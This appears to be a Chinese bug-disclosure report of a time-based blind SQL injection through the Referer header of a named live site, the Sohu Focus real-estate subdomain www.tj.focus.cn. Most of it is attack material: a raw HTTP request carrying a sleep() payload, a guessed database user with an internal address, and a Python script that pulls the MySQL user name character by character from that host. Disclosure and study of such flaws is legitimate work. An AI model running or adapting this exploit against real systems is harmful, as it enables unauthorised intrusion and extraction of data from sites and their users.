简要描述:

搜狐焦点房产分站MySQL盲注,写了几行python脚本验证漏洞。

详细说明:

注入点:

GET / HTTP/1.1
Referer: aaa'+sleep(if(ascii(mid(lower(user()),1,1))!=1,5,0))+'bbb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
X-Requested-With: XMLHttpRequest
Host: www.tj.focus.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*


Referer可注入。基于时间的MySQL盲注。
上述HTTP Request将延迟。

漏洞证明:

猜解得到user,可能有误报,随手乱写,仅用于验证:
focus_user@192.1.168.62

附猜解脚本:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import hashlib
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36'}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.']
print '[%s] Start to retrive MySQL User' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 30):
found=False
while found==False:
for payload in payloads:
timeout_count = 0
for j in range(1,3): # 2 times to confirm
try:
referer= str(random.random()) + "aaa'+sleep(if(ascii(mid(lower(user()),{index},1))={char_code},5,0))+'bbb" + str(random.random())
headers['Referer'] = referer.replace('{index}', str(i)).replace('{char_code}', str(ord(payload)))
conn = httplib.HTTPConnection('www.tj.focus.cn', timeout=4)
conn.request(method='GET',
url='/',
headers=headers)
conn.getresponse().read()
conn.close()
print '.',
break
except Exception, e:
timeout_count += 1
time.sleep(5) # wait DB server recover from last query
if timeout_count == 2:
user += payload
print '\n[In progress] now user is %s' % user
found = True
break

print '\nFinally, MySQL user is', user
